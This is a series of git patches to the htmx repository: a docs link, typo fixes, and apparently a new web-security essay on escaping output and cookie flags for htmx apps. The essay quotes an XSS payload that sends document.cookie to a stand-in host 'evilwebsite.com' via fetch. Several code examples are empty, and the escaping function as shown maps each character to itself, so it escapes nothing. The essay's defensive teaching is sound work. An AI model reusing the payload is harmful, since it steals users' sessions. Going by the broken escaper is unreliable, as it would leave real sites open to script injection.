From 22c8c345e4f90eae4ed12bf5bfe47b4154d1bbb8 Mon Sep 17 00:00:00 2001
From: Martin Robson
Date: Wed, 24 Jan 2024 15:09:17 +0000
Subject: [PATCH 01/15] Add Scala http4s example to docs (server-examples)
(#2209)
---
www/content/server-examples.md | 5 +++++
1 file changed, 5 insertions(+)
diff --git a/www/content/server-examples.md b/www/content/server-examples.md
index 9c6f6931..0d2270e6 100644
--- a/www/content/server-examples.md
+++ b/www/content/server-examples.md
@@ -114,6 +114,11 @@ These examples may make it a bit easier to get started using htmx with your plat
-
-
+## Scala
+
+### http4s
+-
+
## Kotlin
### Ktor
From 0b6769a257ac1bf50f3f7228f8a5be5964970f7e Mon Sep 17 00:00:00 2001
From: Christian Clauss
Date: Wed, 24 Jan 2024 16:10:37 +0100
Subject: [PATCH 02/15] Fix typos in markdown files (#2177)
---
CHANGELOG.md | 2 +-
www/content/essays/is-htmx-another-javascript-framework.md | 2 +-
www/content/essays/two-approaches-to-decoupling.md | 2 +-
www/content/posts/2023-09-22-htmx-1.9.6-is-released.md | 2 +-
4 files changed, 4 insertions(+), 4 deletions(-)
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 8fa3d5f0..8b5e1c1a 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -38,7 +38,7 @@
## [1.9.6] - 2023-09-22
* IE support has been restored (thank you @telroshan!)
-* Introduced the `hx-disabled-elt` attribute to allow specifing elements to disable during a request
+* Introduced the `hx-disabled-elt` attribute to allow specifying elements to disable during a request
* You can now explicitly decide to ignore `title` tags found in new content via the `ignoreTitle` option in `hx-swap` and the `htmx.config.ignoreTitle` configuration variable.
* `hx-swap` modifiers may be used without explicitly specifying the swap mechanism
* Arrays are now supported in the `client-side-templates` extension
diff --git a/www/content/essays/is-htmx-another-javascript-framework.md b/www/content/essays/is-htmx-another-javascript-framework.md
index 8060ccc6..d5917d61 100644
--- a/www/content/essays/is-htmx-another-javascript-framework.md
+++ b/www/content/essays/is-htmx-another-javascript-framework.md
@@ -66,7 +66,7 @@ Pushing the user to define the behavior of their application primarily in HTML,
No matter when you wrote your htmx application, however, the behavior of an htmx form has always been defined in largely the same way a regular HTML form is: with `
+```
+
+Fortunately this one is so easy to fix that you can write the code yourself. Whenever you insert untrusted (i.e. user-provided) data, you just have to replace eight characters with their non-code equivalents. This is an example using JavaScript:
+
+```js
+/**
+ * Replace any characters that could be used to inject a malicious script in an HTML context.
+ */
+export function escapeHtmlText (value) {
+ const stringValue = value.toString()
+ const entityMap = {
+ '&': '&',
+ '<': '<',
+ '>': '>',
+ '"': '"',
+ "'": ''',
+ '/': '/',
+ '`': '`',
+ '=': '='
+ }
+
+ // Match any of the characters inside /[ ... ]/
+ const regex = /[&<>"'`=/]/g
+ return stringValue.replace(regex, match => entityMap[match])
+}
+```
+
+This tiny JS function replaces `<` with `<`, `"` with `"`, and so on. These characters will still render properly as `<` and `"` when they're used in the text, but can't be interpreted as code constructs. The previous malicious bio will now be converted into the following HTML:
+
+```html
+
+<script>
+ fetch('evilwebsite.com', { method: 'POST', data: document.cookie })
+</script>
+
+```
+
+which displays harmlessly as text.
+
+Fortunately, as established above, you don't have to do your escaping manually—I just wanted to demonstrate how simple these concepts are. Every template engine has an auto-escaping feature, and you're going to want to use a template engine anyway. Just make sure that escaping is enabled, and send all your HTML through it.
+
+### Only serve user-generated content inside HTML tags
+
+This is an addendum to the template engine rule, but it's important enough to call out on its own. Do not allow your users to define arbitrary CSS or JS content, even with your auto-escaping template engine.
+
+```html
+
+
+
+
+
+```
+
+And, don't use user-defined attributes or tag names either:
+```html
+
+<{{ user.tag }}>{{ user.tag }}>
+
+
+
+
+
+
+
+
+{{ user.name }}
+```
+
+CSS, JavaScript, and HTML attributes are ["dangerous contexts,"](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html#dangerous-contexts) places where it's not safe to allow arbitrary user input, even if it's escaped. Escaping will protect you from some vulnerabilities here, but not all of them; the vulnerabilities are varied enough that it's safest to default to not doing *any* of these.
+
+Inserting user-generated text directly into a script tag should never be necessary, but there *are* some situations where you might let users customize their CSS or customize HTML attributes. Handling those properly will be discussed down below.
+
+## Secure your cookies
+
+The best way to do authentication with htmx is using cookies. And because htmx encourages interactivity primarily through first-party HTML APIs, it is usually trivial to enable the browser's best cookie security features. These three in particular:
+
+* `Secure` - only send the cookie via HTTPS, never HTTP
+* `HttpOnly` - don't make the cookie available to JavaScript via `document.cookie`
+* `SameSite=Lax` - don't allow other sites to use your cookie to make requests, unless it's just a plain link
+
+To understand what these protect you against, let's go over the basics. If you come from JavaScript SPAs, where it's common to authenticate using the `Authorization` header, you might not be familiar with how cookies work. Fortunately they're very simple. (Please note: this is not an "authentication with htmx" tutorial, just an overview of cookie tokens generally)
+
+If your users log in with a `